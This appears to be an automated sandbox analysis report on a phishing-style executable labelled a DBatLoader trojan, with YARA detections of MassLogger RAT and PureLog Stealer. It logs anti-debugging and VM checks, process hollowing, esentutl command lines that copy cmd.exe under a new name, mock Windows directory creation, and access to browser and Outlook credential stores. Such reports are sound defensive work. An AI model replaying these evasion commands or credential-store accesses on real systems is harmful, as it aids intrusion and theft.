Source: SensorDataService.exe, 0000001F.00000002.1855950363.00000000004EB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: nfNECVMWar VMware SATA CD00NDIS Virtual Netl
Source: Spectrum.exe, 00000023.00000003.1783409850.00000000005A7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware VMCI Bus Devicesdevicedesc%;VMware VMCI Bus Device
Source: Spectrum.exe, 00000023.00000003.1781476971.0000000000590000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Microsoft Hyper-V Generation Countersc%;Microsoft Hyper-V Generation Counter14
Source: Spectrum.exe, 00000023.00000002.2675188373.00000000005A7000.00000004.00000020.00020000.00000000.sdmp, Spectrum.exe, 00000023.00000003.1783409850.00000000005A7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Microsoft Hyper-V Generation Countersc%;Microsoft Hyper-V Generation Counter
Source: Spectrum.exe, 00000023.00000003.1780783107.0000000000594000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: JVMware Virtual disk SCSI Disk Device
Source: snmptrap.exe, 00000020.00000002.2678329194.0000000000582000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllNN
Source: Spectrum.exe, 00000023.00000003.1783409850.00000000005A7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: `[SCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000
Source: ssh-agent.exe, 00000026.00000002.2675416914.000000000040C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllff

Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe

API call chain: ExitProcess graph end node

graph_0-38027

Source: C:\Users\Public\Libraries\ymafvvdS.pif

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe

Code function: 0_2_02B2F744 GetModuleHandleW,GetProcAddress,CheckRemoteDebuggerPresent,

0_2_02B2F744

Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe

Process queried: DebugPort

Jump to behavior

Source: C:\Users\Public\Libraries\ymafvvdS.pif

Code function: 9_1_0040CE09 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

9_1_0040CE09

Source: C:\Users\Public\Libraries\ymafvvdS.pif

9_1_004019F0

Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe

Code function: 0_2_02B2894C LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_02B2894C

Source: C:\Users\Public\Libraries\ymafvvdS.pif	Code function: 9_1_0047D594 mov eax, dword ptr fs:[00000030h]	9_1_0047D594
Source: C:\Users\Public\alpha.pif	Code function: 13_2_001BC1FA mov eax, dword ptr fs:[00000030h]	13_2_001BC1FA
Source: C:\Users\Public\alpha.pif	Code function: 22_2_001BC1FA mov eax, dword ptr fs:[00000030h]	22_2_001BC1FA

Source: C:\Users\Public\Libraries\ymafvvdS.pif

Code function: 9_1_0040ADB0 GetProcessHeap,HeapFree,

9_1_0040ADB0

Source: C:\Users\Public\Libraries\ymafvvdS.pif	Process token adjusted: Debug			Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Process token adjusted: Debug

Source: C:\Users\Public\Libraries\ymafvvdS.pif	Code function: 9_1_004123F1 SetUnhandledExceptionFilter,	9_1_004123F1
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Code function: 9_1_0040CE09 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	9_1_0040CE09
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Code function: 9_1_0040E61C _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	9_1_0040E61C
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Code function: 9_1_00416F6A __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	9_1_00416F6A
Source: C:\Users\Public\alpha.pif	Code function: 13_2_001A6EC0 SetUnhandledExceptionFilter,	13_2_001A6EC0
Source: C:\Users\Public\alpha.pif	Code function: 13_2_001A6B40 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	13_2_001A6B40
Source: C:\Users\Public\alpha.pif	Code function: 22_2_001A6EC0 SetUnhandledExceptionFilter,	22_2_001A6EC0
Source: C:\Users\Public\alpha.pif	Code function: 22_2_001A6B40 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	22_2_001A6B40
Source: C:\Users\Public\xpha.pif	Code function: 23_2_00773470 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	23_2_00773470
Source: C:\Users\Public\xpha.pif	Code function: 23_2_00773600 SetUnhandledExceptionFilter,	23_2_00773600

Source: C:\Users\Public\Libraries\ymafvvdS.pif

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe

Memory allocated: C:\Users\Public\Libraries\ymafvvdS.pif base: 400000 protect: page execute and read and write

Jump to behavior

Drops or copies cmd.exe with a different name (likely to bypass HIPS)

Source: C:\Windows\SysWOW64\esentutl.exe

File created: C:\Users\Public\alpha.pif

Jump to dropped file

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	NtOpenKeyEx: Indirect: 0x140077B9B
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	NtQueryValueKey: Indirect: 0x140077C9F
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	NtClose: Indirect: 0x140077E81

Sample uses process hollowing technique

Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe

Section unmapped: C:\Users\Public\Libraries\ymafvvdS.pif base address: 400000

Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe

Memory written: C:\Users\Public\Libraries\ymafvvdS.pif base: 2A5008

Jump to behavior

Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	Process created: C:\Users\Public\Libraries\ymafvvdS.pif C:\Users\Public\Libraries\ymafvvdS.pif	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\esentutl.exe C:\\Windows\\System32\\esentutl /y C:\\Windows\\System32\\cmd.exe /d C:\\Users\\Public\\alpha.pif /o	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\esentutl.exe C:\\Windows\\System32\\esentutl /y C:\\Windows\\System32\\ping.exe /d C:\\Users\\Public\\xpha.pif /o	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\Public\alpha.pif C:\\Users\\Public\\alpha.pif /c mkdir "\\?\C:\Windows "	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\Public\alpha.pif C:\\Users\\Public\\alpha.pif /c mkdir "\\?\C:\Windows \SysWOW64"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\Public\alpha.pif C:\\Users\\Public\\alpha.pif /c C:\\Users\\Public\\xpha.pif 127.0.0.1 -n 10	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\Public\alpha.pif C:\\Users\\Public\\alpha.pif /c del "C:\Users\Public\xpha.pif"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\Public\alpha.pif C:\\Users\\Public\\alpha.pif /c rmdir "C:\Windows \SysWOW64	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\Public\alpha.pif C:\\Users\\Public\\alpha.pif /c rmdir "C:\Windows \"	Jump to behavior
Source: C:\Users\Public\alpha.pif	Process created: C:\Users\Public\xpha.pif C:\\Users\\Public\\xpha.pif 127.0.0.1 -n 10

Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	Code function: GetModuleFileNameA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,lstrcpynA,GetThreadLocale,GetLocaleInfoA,lstrlenA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,	0_2_02B15ACC
Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	Code function: GetLocaleInfoA,	0_2_02B1A7C4
Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	Code function: lstrcpynA,GetThreadLocale,GetLocaleInfoA,lstrlenA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,	0_2_02B15BD8
Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	Code function: GetLocaleInfoA,	0_2_02B1A810
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Code function: GetLocaleInfoA,	9_1_00417A20
Source: C:\Users\Public\alpha.pif	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,setlocale,	13_2_00198572
Source: C:\Users\Public\alpha.pif	Code function: GetSystemTime,SystemTimeToFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,GetLocaleInfoW,GetDateFormatW,memmove,GetDateFormatW,realloc,GetDateFormatW,memmove,GetLastError,GetLastError,realloc,	13_2_00196854
Source: C:\Users\Public\alpha.pif	Code function: GetSystemTime,SystemTimeToFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,GetLocaleInfoW,memmove,GetTimeFormatW,	13_2_00199310
Source: C:\Users\Public\alpha.pif	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,setlocale,	22_2_00198572
Source: C:\Users\Public\alpha.pif	Code function: GetSystemTime,SystemTimeToFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,GetLocaleInfoW,GetDateFormatW,memmove,GetDateFormatW,realloc,GetDateFormatW,memmove,GetLastError,GetLastError,realloc,	22_2_00196854
Source: C:\Users\Public\alpha.pif	Code function: GetSystemTime,SystemTimeToFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,GetLocaleInfoW,memmove,GetTimeFormatW,	22_2_00199310

Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\alg.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\AppVClient.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\Public\alpha.pif	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\FXSSVC.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\FXSSVC.exe	Queries volume information: C:\ProgramData\Microsoft\Windows NT\MSFax\Queue\TST55B8.tmp VolumeInformation
Source: C:\Windows\System32\FXSSVC.exe	Queries volume information: C:\ProgramData\Microsoft\Windows NT\MSFax\TST55B9.tmp VolumeInformation
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\msdtc.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\PerceptionSimulation\PerceptionSimulationService.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\Locator.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\SensorDataService.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\snmptrap.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\Spectrum.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\OpenSSH\ssh-agent.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\TieringEngineService.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\AgentService.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\vds.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Windows\System32\TieringEngineService.exe

Key value queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\TimeZoneInformation Bias

Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe

Code function: 0_2_02B1920C GetLocalTime,

0_2_02B1920C

Source: C:\Windows\System32\alg.exe

Code function: 12_2_004C0080 VirtualFree,VirtualFree,VirtualAlloc,GetUserNameW,GetComputerNameW,GetComputerNameW,

12_2_004C0080

Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe

Code function: 0_2_02B1B78C GetVersionExA,

0_2_02B1B78C

Source: C:\Users\Public\Libraries\ymafvvdS.pif

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539296303.000000007E230000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539296303.000000007E2B7000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000002.1639818443.000000007EAA7000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539867731.000000007FCC0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: cmdagent.exe
Source: PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539296303.000000007E230000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539296303.000000007E2B7000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000002.1639818443.000000007EAA7000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539867731.000000007FCC0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: quhlpsvc.exe
Source: PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539296303.000000007E230000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539296303.000000007E2B7000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000002.1639818443.000000007EAA7000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539867731.000000007FCC0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: avgamsvr.exe
Source: PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539296303.000000007E230000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539296303.000000007E2B7000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000002.1639818443.000000007EAA7000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539867731.000000007FCC0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: TMBMSRV.exe
Source: PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539296303.000000007E230000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539296303.000000007E2B7000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000002.1639818443.000000007EAA7000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539867731.000000007FCC0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: Vsserv.exe
Source: PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539296303.000000007E230000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539296303.000000007E2B7000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000002.1639818443.000000007EAA7000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539867731.000000007FCC0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: avgupsvc.exe
Source: PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539296303.000000007E230000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539296303.000000007E2B7000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000002.1639818443.000000007EAA7000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539867731.000000007FCC0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: avgemc.exe
Source: PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539296303.000000007E230000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539296303.000000007E2B7000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000002.1639818443.000000007EAA7000.00000004.00001000.00020000.00000000.sdmp, PURCHASE REQUIRED DETAILS 000487958790903403.exe, 00000000.00000003.1539867731.000000007FCC0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: MsMpEng.exe

Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct
Source: C:\Users\user\Desktop\PURCHASE REQUIRED DETAILS 000487958790903403.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct

Stealing of Sensitive Information

Yara detected MassLogger RAT

Source: Yara match	File source: 9.3.ymafvvdS.pif.24742da8.17.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.3.ymafvvdS.pif.24590000.925.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.3.ymafvvdS.pif.24742da8.17.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000003.1577655247.0000000024742000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ymafvvdS.pif PID: 7996, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: 9.3.ymafvvdS.pif.24742da8.17.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.3.ymafvvdS.pif.24590000.925.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.3.ymafvvdS.pif.24742da8.17.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000003.1577655247.0000000024742000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\Public\Libraries\ymafvvdS.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data			Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data			Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\Public\Libraries\ymafvvdS.pif

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Remote Access Functionality

Yara detected MassLogger RAT

Source: Yara match	File source: 9.3.ymafvvdS.pif.24742da8.17.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.3.ymafvvdS.pif.24590000.925.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.3.ymafvvdS.pif.24742da8.17.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000003.1577655247.0000000024742000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ymafvvdS.pif PID: 7996, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: 9.3.ymafvvdS.pif.24742da8.17.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.3.ymafvvdS.pif.24590000.925.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.3.ymafvvdS.pif.24742da8.17.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000003.1577655247.0000000024742000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Valid Accounts	1 Windows Management Instrumentation	2 LSASS Driver	1 Abuse Elevation Control Mechanism	11 Disable or Modify Tools	1 OS Credential Dumping	11 System Time Discovery	1 Taint Shared Content	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	3 Native API	1 DLL Side-Loading	2 LSASS Driver	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	1 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Shared Modules	1 Valid Accounts	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	Security Account Manager	1 System Network Connections Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 Command and Scripting Interpreter	1 Registry Run Keys / Startup Folder	1 Valid Accounts	3 Obfuscated Files or Information	NTDS	2 File and Directory Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Access Token Manipulation	2 Software Packing	LSA Secrets	36 System Information Discovery	SSH	Keylogging	124 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	311 Process Injection	1 Timestomp	Cached Domain Credentials	1 Query Registry	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	1 Registry Run Keys / Startup Folder	1 DLL Side-Loading	DCSync	361 Security Software Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 File Deletion	Proc Filesystem	41 Virtualization/Sandbox Evasion	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	532 Masquerading	/etc/passwd and /etc/shadow	2 Process Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	1 Valid Accounts	Network Sniffing	1 Application Window Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	1 Access Token Manipulation	Input Capture	1 System Owner/User Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption
Gather Victim Org Information	DNS Server	Compromise Software Supply Chain	Windows Command Shell	Scheduled Task	Scheduled Task	41 Virtualization/Sandbox Evasion	Keylogging	1 System Network Configuration Discovery	Taint Shared Content	Screen Capture	DNS	Exfiltration Over Physical Medium	Resource Hijacking
Determine Physical Locations	Virtual Private Server	Compromise Hardware Supply Chain	Unix Shell	Systemd Timers	Systemd Timers	311 Process Injection	GUI Input Capture	Permission Groups Discovery	Replication Through Removable Media	Email Collection	Proxy	Exfiltration over USB	Network Denial of Service

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
PURCHASE REQUIRED DETAILS 000487958790903403.exe	37%	ReversingLabs	Win32.Trojan.DBatLoader
PURCHASE REQUIRED DETAILS 000487958790903403.exe	43%	Virustotal		Browse
PURCHASE REQUIRED DETAILS 000487958790903403.exe	100%	Avira	HEUR/AGEN.1326062

Dropped Files

Source	Detection	Scanner	Label
C:\Program Files (x86)\Java\jre-1.8\bin\java-rmi.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\AutoIt3\Au3Check.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdate.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe	100%	Avira	W32/Infector.Gen
